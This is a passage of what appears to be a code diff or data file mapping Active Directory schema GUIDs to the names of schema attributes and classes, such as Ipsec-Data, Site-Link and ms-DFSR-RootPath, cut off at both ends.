"Address-Syntax", + "b40ff81f-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data", + "778ff5c9-6f4e-4b74-856a-d68383313910": "ms-DS-KrbTgt-Link", + "e2704852-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Site-Gates-Mig", + "bf967a2d-0de6-11d0-a285-00aa003049e2": "Search-Flags", + "098f368e-4812-48cd-afb7-a136b96807ed": "ms-SPP-Online-License", + "5fd42464-1262-11d0-a060-00aa006c33ed": "Address-Type", + "b40ff81e-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data-Type", + "185c7821-3749-443a-bd6a-288899071adb": "ms-DS-Revealed-Users", + "9a0dc340-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-ID", + "bf967a2e-0de6-11d0-a285-00aa003049e2": "Search-Guide", + "67e4d912-f362-4052-8c79-42f45ba7b221": "ms-SPP-Phone-License", + "b40ff826-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter", + "5fe69b0b-e146-4f15-b0ab-c1e5d488e094": "simpleSecurityObject", + "553fd038-f32e-11d0-b0bc-00c04fd8dca6": "Admin-Context-Menu", + "b40ff823-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter-Reference", + "1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3": "ms-DS-Has-Full-Replica-NCs", + "ffadb4b2-de39-11d1-90a5-00c04fd91ab1": "MSMQ-Site-Name", + "01072d9a-98ad-4a53-9744-e83e287278fb": "secretary", + "0353c4b5-d199-40b0-b3c5-deb32fd9ec06": "ms-SPP-Config-License", + "bf967918-0de6-11d0-a285-00aa003049e2": "Admin-Count", + "b40ff81d-427a-11d1-a9c2-0000f80367c1": "Ipsec-ID", + "15585999-fd49-4d66-b25d-eeb96aba8174": "ms-DS-Never-Reveal-Group", + "422144fa-c17f-4649-94d6-9731ed2784ed": "MSMQ-Site-Name-Ex", + "bf967a2f-0de6-11d0-a285-00aa003049e2": "Security-Identifier", + "1075b3a1-bbaf-49d2-ae8d-c4f25c823303": "ms-SPP-Issuance-License", + "b40ff828-427a-11d1-a9c2-0000f80367c1": "Ipsec-ISAKMP-Policy", + "bf967ab3-0de6-11d0-a285-00aa003049e2": "Site", + "bf967919-0de6-11d0-a285-00aa003049e2": "Admin-Description", + "b40ff820-427a-11d1-a9c2-0000f80367c1": "Ipsec-ISAKMP-Reference", + "303d9f4a-1dd6-4b38-8fc5-33afe8c988ad": "ms-DS-Reveal-OnDemand-Group", + "9a0dc32a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sites", + "bf967a31-0de6-11d0-a285-00aa003049e2": "See-Also", + "19d706eb-4d76-44a2-85d6-1c342be3be37": "ms-TPM-Srk-Pub-Thumbprint", + "bf96791a-0de6-11d0-a285-00aa003049e2": "Admin-Display-Name", + "b40ff81c-427a-11d1-a9c2-0000f80367c1": "Ipsec-Name", + "aa156612-2396-467e-ad6a-28d23fdb1865": "ms-DS-Secondary-KrbTgt-Number", + "9a0dc329-c100-11d1-bbc5-0080c76670c0": "MSMQ-Transactional", + "ddac0cf2-af8f-11d0-afeb-00c04fd930c9": "Seq-Notification", + "c894809d-b513-4ff8-8811-f4f43f5ac7bc": "ms-TPM-Owner-Information-Temp", + "b40ff827-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy", + "d50c2cde-8951-11d1-aebc-0000f80367c1": "Site-Link", + "18f9b67d-5ac6-4b3b-97db-d0a406afb7ba": "Admin-Multiselect-Property-Pages", + "07383075-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Action", + "94f6f2ac-c76d-4b5e-b71f-f332c3e93c22": "ms-DS-Revealed-DSAs", + "c58aae32-56f9-11d2-90d0-00c04fd91ab1": "MSMQ-User-Sid", + "bf967a32-0de6-11d0-a285-00aa003049e2": "Serial-Number", + "ea1b7b93-5e48-46d5-bc6c-4df4fda78a35": "ms-TPM-Tpm-Information-For-Computer", + "52458038-ca6a-11d0-afff-0000f80367c1": "Admin-Property-Pages", + "b40ff822-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy-Reference", + "5dd68c41-bfdf-438b-9b5d-39d9618bf260": "ms-DS-KrbTgt-Link-BL", + "9a0dc336-c100-11d1-bbc5-0080c76670c0": "MSMQ-Version", + "09dcb7a0-165f-11d0-a064-00aa006c33ed": "Server-Name", + "14fa84c9-8ecd-4348-bc91-6d3ced472ab7": "ms-TPM-Tpm-Information-For-Computer-BL", + "b40ff829-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA", + "d50c2cdf-8951-11d1-aebc-0000f80367c1": "Site-Link-Bridge", + "9a7ad940-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes", + "07383074-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Type", + "c8bc72e0-a6b4-48f0-94a5-fd76a88c9987": "ms-DS-Is-Full-Replica-For", + "db0c9085-c1f2-11d1-bbc5-0080c76670c0": "msNPAllowDialin", + "26d9736d-6070-11d1-a9c6-0000f80367c1": "Server-Reference", + "0be0dd3b-041a-418c-ace9-2f17d23e9d42": "ms-DNS-Keymaster-Zones", + "9a7ad941-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes-Effective", + "b40ff821-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA-Reference", + "ff155a2a-44e5-4de0-8318-13a58988de4f": "ms-DS-Is-Domain-For", + "db0c9089-c1f2-11d1-bbc5-0080c76670c0": "msNPCalledStationID", + "26d9736e-6070-11d1-a9c6-0000f80367c1": "Server-Reference-BL", + "aa12854c-d8fc-4d5e-91ca-368b8d829bee": "ms-DNS-Is-Signed", + "b7b13121-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy", + "7a4117da-cd67-11d0-afff-0000f80367c1": "Sites-Container", + "9a7ad942-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes", + "b40ff824-427a-11d1-a9c2-0000f80367c1": "Ipsec-Owners-Reference", + "37c94ff6-c6d4-498f-b2f9-c6f7f8647809": "ms-DS-Is-Partial-Replica-For", + "db0c908a-c1f2-11d1-bbc5-0080c76670c0": "msNPCallingStationID", + "bf967a33-0de6-11d0-a285-00aa003049e2": "Server-Role", + "c79f2199-6da1-46ff-923c-1f3f800c721e": "ms-DNS-Sign-With-NSEC3", + "9a7ad943-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes-Effective", + "b7b13118-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy-Reference", + "fe01245a-341f-4556-951f-48c033a89050": "ms-DS-Is-User-Cachable-At-Rodc", + "db0c908e-c1f2-11d1-bbc5-0080c76670c0": "msNPSavedCallingStationID", + "bf967a34-0de6-11d0-a285-00aa003049e2": "Server-State", + "7bea2088-8ce2-423c-b191-66ec506b1595": "ms-DNS-NSEC3-OptOut", + "bf967a9e-0de6-11d0-a285-00aa003049e2": "Leaf", + "bf967ab5-0de6-11d0-a285-00aa003049e2": "Storage", + "00fbf30c-91fe-11d1-aebc-0000f80367c1": "Alt-Security-Identities", + "00fbf30d-91fe-11d1-aebc-0000f80367c1": "Is-Critical-System-Object", + "cbdad11c-7fec-387b-6219-3a0627d9af81": "ms-DS-Revealed-List", + "db0c909c-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSCallbackNumber", + "b7b1311c-b82e-11d0-afee-0000f80367c1": "Service-Binding-Information", + "0dc063c1-52d9-4456-9e15-9c2434aafd94": "ms-DNS-Maintain-Trust-Anchor", + "45b01500-c419-11d1-bbc9-0080c76670c0": "ANR", + "28630ebe-41d5-11d1-a9c1-0000f80367c1": "Is-Defunct", + "aa1c88fd-b0f6-429f-b2ca-9d902266e808": "ms-DS-Revealed-List-BL", + "db0c90a4-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedIPAddress", + "bf967a35-0de6-11d0-a285-00aa003049e2": "Service-Class-ID", + "5c5b7ad2-20fa-44bb-beb3-34b9c0f65579": "ms-DNS-DS-Record-Algorithms", + "1be8f17d-a9ff-11d0-afe2-00c04fd930c9": "Licensing-Site-Settings", + "b7b13124-b82e-11d0-afee-0000f80367c1": "Subnet", + "96a7dd65-9118-11d1-aebc-0000f80367c1": "App-Schema-Version", + "bf96798f-0de6-11d0-a285-00aa003049e2": "Is-Deleted", + "011929e6-8b5d-4258-b64a-00b0b4949747": "ms-DS-Last-Successful-Interactive-Logon-Time", + "db0c90a9-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedRoute", + "bf967a36-0de6-11d0-a285-00aa003049e2": "Service-Class-Info", + "27d93c40-065a-43c0-bdd8-cdf2c7d120aa": "ms-DNS-RFC5011-Key-Rollovers", + "dd712226-10e4-11d0-a05f-00aa006c33ed": "Application-Name", + "f4c453f0-c5f1-11d1-bbcb-0080c76670c0": "Is-Ephemeral", + "c7e7dafa-10c3-4b8b-9acd-54f11063742e": "ms-DS-Last-Failed-Interactive-Logon-Time", + "db0c90b6-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSServiceType", + "b7b1311d-b82e-11d0-afee-0000f80367c1": "Service-Class-Name", + "ff9e5552-7db7-4138-8888-05ce320a0323": "ms-DNS-NSEC3-Hash-Algorithm", + "ddac0cf5-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Object-Move-Table", + "b7b13125-b82e-11d0-afee-0000f80367c1": "Subnet-Container", + "8297931d-86d3-11d0-afda-00c04fd930c9": "Applies-To", + "bf967991-0de6-11d0-a285-00aa003049e2": "Is-Member-Of-DL", + "dc3ca86f-70ad-4960-8425-a4d6313d93dd": "ms-DS-Failed-Interactive-Logon-Count", + "db0c90c5-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedCallbackNumber", + "28630eb8-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name", + "13361665-916c-4de7-a59d-b1ebbd0de129": "ms-DNS-NSEC3-Random-Salt-Length", + "ba305f75-47e3-11d0-a1a6-00c04fd930c9": "Asset-Number", + "19405b9d-3cfa-11d1-a9c0-0000f80367c1": "Is-Member-Of-Partial-Attribute-Set", + "c5d234e5-644a-4403-a665-e26e0aef5e98": "ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon", + "db0c90c6-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedIPAddress", + "28630eba-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name-Type", + "80b70aab-8959-4ec0-8e93-126e76df3aca": "ms-DNS-NSEC3-Iterations", + "ddac0cf7-af8f-11d0-afeb-00c04fd930c9": "Link-Track-OMT-Entry", + "0296c11c-40da-11d1-a9c0-0000f80367c1": "Assistant", + "19405b9c-3cfa-11d1-a9c0-0000f80367c1": "Is-Privilege-Holder", + "31f7b8b6-c9f8-4f2d-a37b-58a823030331": "ms-DS-USN-Last-Sync-Success", + "db0c90c7-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedRoute", + "bf967a37-0de6-11d0-a285-00aa003049e2": "Service-Instance-Version", + "8f4e317f-28d7-442c-a6df-1f491f97b326": "ms-DNS-DNSKEY-Record-Set-TTL", + "bf967ab8-0de6-11d0-a285-00aa003049e2": "Trusted-Domain", + "398f63c0-ca60-11d1-bbd1-0000f81f10c0": "Assoc-NT-Account", + "8fb59256-55f1-444b-aacb-f5b482fe3459": "Is-Recycled", + "78fc5d84-c1dc-3148-8984-58f792d41d3e": "ms-DS-Value-Type-Reference", + "bf9679d3-0de6-11d0-a285-00aa003049e2": "Must-Contain", + "f3a64788-5306-11d1-a9c5-0000f80367c1": "Service-Principal-Name", + "29869b7c-64c4-42fe-97d5-fbc2fa124160": "ms-DNS-DS-Record-Set-TTL", + "ddac0cf6-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Vol-Entry", + "3320fc38-c379-4c17-a510-1bdf6133c5da": "associatedDomain", + "bf967992-0de6-11d0-a285-00aa003049e2": "Is-Single-Valued", + "ab5543ad-23a1-3b45-b937-9b313d5474a8": "ms-DS-Value-Type-Reference-BL", + "80212840-4bdc-11d1-a9c4-0000f80367c1": "Name-Service-Flags", + "7d6c0e97-7e20-11d0-afd6-00c04fd930c9": "Setup-Command", + "03d4c32e-e217-4a61-9699-7bbc4729a026": "ms-DNS-Signature-Inception-Offset", + "281416e2-1968-11d0-a28f-00aa003049e2": "Type-Library", + "f7fbfc45-85ab-42a4-a435-780e62f7858b": "associatedName", + "bac80572-09c4-4fa9-9ae6-7628d7adbe0e": "jpegPhoto", + "8a0560c1-97b9-4811-9db7-dc061598965b": "ms-DS-Optional-Feature-Flags", + "bf9679d6-0de6-11d0-a285-00aa003049e2": "NC-Name", + "553fd039-f32e-11d0-b0bc-00c04fd8dca6": "Shell-Context-Menu", + "f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9": "ms-DNS-Secure-Delegation-Polling-Period", + "ddac0cf4-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Volume-Table", + "fa4693bb-7bc2-4cb9-81a8-c99c43b7905e": "attributeCertificateAttribute", + "bf967993-0de6-11d0-a285-00aa003049e2": "Keywords", + "bf9679d8-0de6-11d0-a285-00aa003049e2": "NETBIOS-Name", + "52458039-ca6a-11d0-afff-0000f80367c1": "Shell-Property-Pages", + "3443d8cd-e5b6-4f3b-b098-659a0214a079": "ms-DNS-Signing-Key-Descriptors", + "bf967abb-0de6-11d0-a285-00aa003049e2": "Volume", + "cb843f80-48d9-11d1-a9c3-0000f80367c1": "Attribute-Display-Names", + "1677581f-47f3-11d1-a9c3-0000f80367c1": "Knowledge-Information", + "07383076-91df-11d1-aebc-0000f80367c1": "netboot-Allow-New-Clients", + "45b01501-c419-11d1-bbc9-0080c76670c0": "Short-Server-Name", + "b7673e6d-cad9-4e9e-b31a-63e8098fdd63": "ms-DNS-Signing-Keys", + "bf967aa0-0de6-11d0-a285-00aa003049e2": "Locality", + "bf967922-0de6-11d0-a285-00aa003049e2": "Attribute-ID", + "c569bb46-c680-44bc-a273-e6c227d71b45": "labeledURI", + "0738307b-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Only-Valid-Clients", + "3e74f60e-3e73-11d1-a9c0-0000f80367c1": "Show-In-Address-Book", + "28c458f5-602d-4ac9-a77c-b3f1be503a7e": "ms-DNS-DNSKEY-Records", + "ad44bb41-67d5-4d88-b575-7b20674e76d8": "PosixAccount", + "bf967924-0de6-11d0-a285-00aa003049e2": "Attribute-Security-GUID", + "1fbb0be8-ba63-11d0-afef-0000f80367c1": "Last-Backup-Restoration-Time", + "0738307a-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Requests", + "bf967984-0de6-11d0-a285-00aa003049e2": "Show-In-Advanced-View-Only", + "285c6964-c11a-499e-96d8-bf7c75a223c6": "ms-DNS-Parent-Has-Secure-Delegation", + "52ab8671-5709-11d1-a9c6-0000f80367c1": "Lost-And-Found", + "bf967925-0de6-11d0-a285-00aa003049e2": "Attribute-Syntax", + "bf967995-0de6-11d0-a285-00aa003049e2": "Last-Content-Indexed", + "5643ff81-35b6-4ca9-9512-baf0bd0a2772": "ms-FRS-Hub-Member", + "07383079-91df-11d1-aebc-0000f80367c1": "netboot-Current-Client-Count", + "17eb4278-d167-11d0-b002-0000f80367c1": "SID-History", + "ba340d47-2181-4ca0-a2f6-fae4479dab2a": "ms-DNS-Propagation-Time", + "5b6d8467-1a18-4174-b350-9cc6e7b4ac8d": "ShadowAccount", + "9a7ad944-ca53-11d1-bbd0-0080c76670c0": "Attribute-Types", + "52ab8670-5709-11d1-a9c6-0000f80367c1": "Last-Known-Parent", + "92aa27e0-5c50-402d-9ec1-ee847def9788": "ms-FRS-Topology-Pref", + "3e978921-8c01-11d0-afda-00c04fd930c9": "Netboot-GUID", + "2a39c5b2-8960-11d1-aebc-0000f80367c1": "Signature-Algorithms", + "aff16770-9622-4fbc-a128-3088777605b9": "ms-DNS-NSEC3-User-Salt", + "11b6cc94-48c4-11d1-a9c3-0000f80367c1": "Meeting", + "d0e1d224-e1a0-42ce-a2da-793ba5244f35": "audio", + "bf967996-0de6-11d0-a285-00aa003049e2": "Last-Logoff", + "1a861408-38c3-49ea-ba75-85481a77c655": "ms-DFSR-Version", + "532570bd-3d77-424f-822f-0d636dc6daad": "Netboot-DUID", + "3e978924-8c01-11d0-afda-00c04fd930c9": "Site-GUID", + "387d9432-a6d1-4474-82cd-0a89aae084ae": "ms-DNS-NSEC3-Current-Salt", + "2a9350b8-062c-4ed0-9903-dde10d06deba": "PosixGroup", + "6da8a4fe-0e52-11d0-a286-00aa003049e2": "Auditing-Policy", + "bf967997-0de6-11d0-a285-00aa003049e2": "Last-Logon", + "78f011ec-a766-4b19-adcf-7b81ed781a4d": "ms-DFSR-Extension", + "3e978920-8c01-11d0-afda-00c04fd930c9": "Netboot-Initialization", + "d50c2cdd-8951-11d1-aebc-0000f80367c1": "Site-Link-List", + "07831919-8f94-4fb6-8a42-91545dccdad3": "ms-Authz-Effective-Security-Policy", + "c9010e74-4e58-49f7-8a89-5e3e2340fcf8": "ms-COM-Partition", + "bf967928-0de6-11d0-a285-00aa003049e2": "Authentication-Options", + "c0e20a04-0e5a-4ff3-9482-5efeaecd7060": "Last-Logon-Timestamp", + "d7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54": "ms-DFSR-RootPath", + "0738307e-91df-11d1-aebc-0000f80367c1": "netboot-IntelliMirror-OSes", + "d50c2cdc-8951-11d1-aebc-0000f80367c1": "Site-List", + "b946bece-09b5-4b6a-b25a-4b63a330e80e": "ms-Authz-Proposed-Security-Policy", + "2517fadf-fa97-48ad-9de6-79ac5721f864": "IpService", + "1677578d-47f3-11d1-a9c3-0000f80367c1": "Authority-Revocation-List", + "bf967998-0de6-11d0-a285-00aa003049e2": "Last-Set-Time", + "90b769ac-4413-43cf-ad7a-867142e740a3": "ms-DFSR-RootSizeInMb", + "07383077-91df-11d1-aebc-0000f80367c1": "netboot-Limit-Clients", + "3e10944c-c354-11d0-aff8-0000f80367c1": "Site-Object", + "8e1685c6-3e2f-48a2-a58d-5af0ea789fa0": "ms-Authz-Last-Effective-Security-Policy", + "250464ab-c417-497a-975a-9e0d459a7ca1": "ms-COM-PartitionSet", + "bf96792c-0de6-11d0-a285-00aa003049e2": "Auxiliary-Class", + "7d6c0e9c-7e20-11d0-afd6-00c04fd930c9": "Last-Update-Sequence", + "86b9a69e-f0a6-405d-99bb-77d977992c2a": "ms-DFSR-StagingPath", + "07383080-91df-11d1-aebc-0000f80367c1": "netboot-Locally-Installed-OSes", + "3e10944d-c354-11d0-aff8-0000f80367c1": "Site-Object-BL", + "80997877-f874-4c68-864d-6e508a83bdbd": "ms-Authz-Resource-Condition", + "9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013": "IpProtocol", + "bf96792d-0de6-11d0-a285-00aa003049e2": "Bad-Password-Time", + "7359a352-90f7-11d1-aebc-0000f80367c1": "LDAP-Admin-Limits", + "250a8f20-f6fc-4559-ae65-e4b24c67aebe": "ms-DFSR-StagingSizeInMb", + "3e978923-8c01-11d0-afda-00c04fd930c9": "Netboot-Machine-File-Path", + "1be8f17c-a9ff-11d0-afe2-00c04fd930c9": "Site-Server", + "62f29b60-be74-4630-9456-2f6691993a86": "ms-Authz-Central-Access-Policy-ID", + "90df3c3e-1854-4455-a5d7-cad40d56657a": "ms-DS-App-Configuration", + "bf96792e-0de6-11d0-a285-00aa003049e2": "Bad-Pwd-Count", + "bf96799a-0de6-11d0-a285-00aa003049e2": "LDAP-Display-Name", + "5cf0bcc8-60f7-4bff-bda6-aea0344eb151": "ms-DFSR-ConflictPath", + "07383078-91df-11d1-aebc-0000f80367c1": "netboot-Max-Clients", + "26d9736f-6070-11d1-a9c6-0000f80367c1": "SMTP-Mail-Address", + "57f22f7a-377e-42c3-9872-cec6f21d2e3e": "ms-Authz-Member-Rules-In-Central-Access-Policy", + "cadd1e5e-fefc-4f3f-b5a9-70e994204303": "OncRpc", + "1f0075f9-7e40-11d0-afd6-00c04fd930c9": "Birth-Location", + "7359a353-90f7-11d1-aebc-0000f80367c1": "LDAP-IPDeny-List", + "9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49": "ms-DFSR-ConflictSizeInMb", + "2df90d85-009f-11d2-aa4c-00c04fd7d83a": "Netboot-Mirror-Data-File", + "2ab0e76c-7041-11d2-9905-0000f87a57d4": "SPN-Mappings", + "516e67cf-fedd-4494-bb3a-bc506a948891": "ms-Authz-Member-Rules-In-Central-Access-Policy-BL", + "9e67d761-e327-4d55-bc95-682f875e2f8e": "ms-DS-App-Data", + "d50c2cdb-8951-11d1-aebc-0000f80367c1": "Bridgehead-Server-List-BL", + "03726ae7-8e7d-4446-8aae-a91657c00993": "ms-DFSR-Enabled", + "0738307c-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-Naming-Policy", + "bf967a39-0de6-11d0-a285-00aa003049e2": "State-Or-Province-Name", + "fa32f2a6-f28b-47d0-bf91-663e8f910a72": "ms-DS-Claim-Source", + "ab911646-8827-4f95-8780-5a8f008eb68f": "IpHost", + "d50c2cda-8951-11d1-aebc-0000f80367c1": "Bridgehead-Transport-List", + "bf96799b-0de6-11d0-a285-00aa003049e2": "Link-ID", + "eeed0fc8-1001-45ed-80cc-bbf744930720": "ms-DFSR-ReplicationGroupType", + "0738307d-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-OU", + "bf967a3a-0de6-11d0-a285-00aa003049e2": "Street-Address", + "92f19c05-8dfa-4222-bbd1-2c4f01487754": "ms-DS-Claim-Source-Type", + "cfee1051-5f28-4bae-a863-5d0cc18a8ed1": "ms-DS-Az-Admin-Manager", + "f87fa54b-b2c5-4fd7-88c0-daccb21d93c5": "buildingName", + "2ae80fe2-47b4-11d0-a1a4-00c04fd930c9": "Link-Track-Secret", + "23e35d4c-e324-4861-a22f-e199140dae00": "ms-DFSR-TombstoneExpiryInMin", + "07383082-91df-11d1-aebc-0000f80367c1": "netboot-SCP-BL", + "3860949f-f6a8-4b38-9950-81ecb6bc2982": "Structural-Object-Class", + "0c2ce4c7-f1c3-4482-8578-c60d4bb74422": "ms-DS-Claim-Is-Value-Space-Restricted", + "d95836c3-143e-43fb-992a-b057f1ecadf9": "IpNetwork", + "bf96792f-0de6-11d0-a285-00aa003049e2": "Builtin-Creation-Time", + "bf96799d-0de6-11d0-a285-00aa003049e2": "Lm-Pwd-History", + "d68270ac-a5dc-4841-a6ac-cd68be38c181": "ms-DFSR-FileFilter", + "07383081-91df-11d1-aebc-0000f80367c1": "netboot-Server", + "bf967a3b-0de6-11d0-a285-00aa003049e2": "Sub-Class-Of", + "cd789fb9-96b4-4648-8219-ca378161af38": "ms-DS-Claim-Is-Single-Valued", + "ddf8de9b-cba5-4e12-842e-28d8b66f75ec": "ms-DS-Az-Application", + "bf967930-0de6-11d0-a285-00aa003049e2": "Builtin-Modified-Count", + "bf96799e-0de6-11d0-a285-00aa003049e2": "Local-Policy-Flags", + "93c7b477-1f2e-4b40-b7bf-007e8d038ccf": "ms-DFSR-DirectoryFilter", + "2df90d84-009f-11d2-aa4c-00c04fd7d83a": "Netboot-SIF-File", + "bf967a3c-0de6-11d0-a285-00aa003049e2": "Sub-Refs", + "1e5d393d-8cb7-4b4f-840a-973b36cc09c3": "ms-DS-Generation-Id", + "72efbf84-6e7b-4a5c-a8db-8a75a7cad254": "NisNetgroup", + "bf967931-0de6-11d0-a285-00aa003049e2": "Business-Category", + "80a67e4d-9f22-11d0-afdd-00c04fd930c9": "Local-Policy-Reference", + "4699f15f-a71f-48e2-9ff5-5897c0759205": "ms-DFSR-Schedule", + "0738307f-91df-11d1-aebc-0000f80367c1": "netboot-Tools", + "9a7ad94d-ca53-11d1-bbd0-0080c76670c0": "SubSchemaSubEntry", + "a13df4e2-dbb0-4ceb-828b-8b2e143e9e81": "ms-DS-Primary-Computer", + "860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5": "ms-DS-Az-Operation", + "ba305f76-47e3-11d0-a1a6-00c04fd930c9": "Bytes-Per-Minute", + "bf9679a1-0de6-11d0-a285-00aa003049e2": "Locale-ID", + "048b4692-6227-4b67-a074-c4437083e14b": "ms-DFSR-Keywords", + "bf9679d9-0de6-11d0-a285-00aa003049e2": "Network-Address", + "963d274c-48be-11d1-a9c3-0000f80367c1": "Super-Scope-Description", + "998c06ac-3f87-444e-a5df-11b03dc8a50c": "ms-DS-Is-Primary-Computer-For", + "7672666c-02c1-4f33-9ecf-f649c1dd9b7c": "NisMap", + "bf967932-0de6-11d0-a285-00aa003049e2": "CA-Certificate", + "bf9679a2-0de6-11d0-a285-00aa003049e2": "Locality-Name", + "fe515695-3f61-45c8-9bfa-19c148c57b09": "ms-DFSR-Flags", + "bf9679da-0de6-11d0-a285-00aa003049e2": "Next-Level-Store", + "963d274b-48be-11d1-a9c3-0000f80367c1": "Super-Scopes", + "db2c48b2-d14d-ec4e-9f58-ad579d8b440e": "ms-Kds-KDF-AlgorithmID", + "8213eac9-9d55-44dc-925c-e9a52b927644": "ms-DS-Az-Role", + "963d2740-48be-11d1-a9c3-0000f80367c1": "CA-Certificate-DN", + "d9e18316-8939-11d1-aebc-0000f80367c1": "Localized-Description", + "d6d67084-c720-417d-8647-b696237a114c": "ms-DFSR-Options", + "bf9679db-0de6-11d0-a285-00aa003049e2": "Next-Rid", + "5245801d-ca6a-11d0-afff-0000f80367c1": "Superior-DNS-Root", + "8a800772-f4b8-154f-b41c-2e4271eff7a7": "ms-Kds-KDF-Param", + "904f8a93-4954-4c5f-b1e1-53c097a31e13": "NisObject", + "963d2735-48be-11d1-a9c3-0000f80367c1": "CA-Connect", + "a746f0d1-78d0-11d2-9916-0000f87a57d4": "Localization-Display-Id", + "1035a8e1-67a8-4c21-b7bb-031cdf99d7a0": "ms-DFSR-ContentSetGuid", + "52458018-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member", + "bf967a3f-0de6-11d0-a285-00aa003049e2": "Supplemental-Credentials", + "1702975d-225e-cb4a-b15d-0daea8b5e990": "ms-Kds-SecretAgreement-AlgorithmID", + "4feae054-ce55-47bb-860e-5b12063a51de": "ms-DS-Az-Scope", + "963d2738-48be-11d1-a9c3-0000f80367c1": "CA-Usages", + "09dcb79f-165f-11d0-a064-00aa006c33ed": "Location", + "e3b44e05-f4a7-4078-a730-f48670a743f8": "ms-DFSR-RdcEnabled", + "52458019-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member-BL", + "1677588f-47f3-11d1-a9c3-0000f80367c1": "Supported-Application-Context", + "30b099d9-edfe-7549-b807-eba444da79e9": "ms-Kds-SecretAgreement-Param", + "a699e529-a637-4b7d-a0fb-5dc466a0b8a7": "IEEE802Device", + "963d2736-48be-11d1-a9c3-0000f80367c1": "CA-WEB-URL", + "bf9679a4-0de6-11d0-a285-00aa003049e2": "Lock-Out-Observation-Window", + "f402a330-ace5-4dc1-8cc9-74d900bf8ae0": "ms-DFSR-RdcMinFileSizeInKb", + "19195a56-6da0-11d0-afd3-00c04fd930c9": "Notification-List", + "bf967a41-0de6-11d0-a285-00aa003049e2": "Surname", + "e338f470-39cd-4549-ab5b-f69f9e583fe0": "ms-Kds-PublicKey-Length", + "1ed3a473-9b1b-418a-bfa0-3a37b95a5306": "ms-DS-Az-Task", + "d9e18314-8939-11d1-aebc-0000f80367c1": "Can-Upgrade-Script", + "bf9679a5-0de6-11d0-a285-00aa003049e2": "Lockout-Duration", + "2cc903e2-398c-443b-ac86-ff6b01eac7ba": "ms-DFSR-DfsPath", + "bf9679df-0de6-11d0-a285-00aa003049e2": "NT-Group-Members", + "037651e4-441d-11d1-a9c3-0000f80367c1": "Sync-Attributes", + "615f42a1-37e7-1148-a0dd-3007e09cfc81": "ms-Kds-PrivateKey-Length", + "4bcb2477-4bb3-4545-a9fc-fb66e136b435": "BootableDevice", + "9a7ad945-ca53-11d1-bbd0-0080c76670c0": "Canonical-Name", + "bf9679a6-0de6-11d0-a285-00aa003049e2": "Lockout-Threshold", + "51928e94-2cd8-4abe-b552-e50412444370": "ms-DFSR-RootFence", + "3e97891f-8c01-11d0-afda-00c04fd930c9": "NT-Mixed-Domain", + "037651e3-441d-11d1-a9c3-0000f80367c1": "Sync-Membership", + "26627c27-08a2-0a40-a1b1-8dce85b42993": "ms-Kds-RootKeyData", + "44f00041-35af-468b-b20a-6ce8737c580b": "ms-DS-Optional-Feature", + "d4159c92-957d-4a87-8a67-8d2934e01649": "carLicense", + "28630ebf-41d5-11d1-a9c1-0000f80367c1": "Lockout-Time", + "2dad8796-7619-4ff8-966e-0a5cc67b287f": "ms-DFSR-ReplicationGroupGuid", + "bf9679e2-0de6-11d0-a285-00aa003049e2": "Nt-Pwd-History", + "037651e2-441d-11d1-a9c3-0000f80367c1": "Sync-With-Object", + "d5f07340-e6b0-1e4a-97be-0d3318bd9db1": "ms-Kds-Version", + "d6710785-86ff-44b7-85b5-f1f8689522ce": "msSFU-30-Mail-Aliases", + "7bfdcb81-4807-11d1-a9c3-0000f80367c1": "Catalogs", + "bf9679a9-0de6-11d0-a285-00aa003049e2": "Logo", + "f7b85ba9-3bf9-428f-aab4-2eee6d56f063": "ms-DFSR-DfsLinkTarget", + "bf9679e3-0de6-11d0-a285-00aa003049e2": "NT-Security-Descriptor", + "037651e5-441d-11d1-a9c3-0000f80367c1": "Sync-With-SID", + "96400482-cf07-e94c-90e8-f2efc4f0495e": "ms-Kds-DomainID", + "3bcd9db8-f84b-451c-952f-6c52b81f9ec6": "ms-DS-Password-Settings", + "7bfdcb7e-4807-11d1-a9c3-0000f80367c1": "Categories", + "bf9679aa-0de6-11d0-a285-00aa003049e2": "Logon-Count", + "261337aa-f1c3-44b2-bbea-c88d49e6f0c7": "ms-DFSR-MemberReference", + "bf9679e4-0de6-11d0-a285-00aa003049e2": "Obj-Dist-Name", + 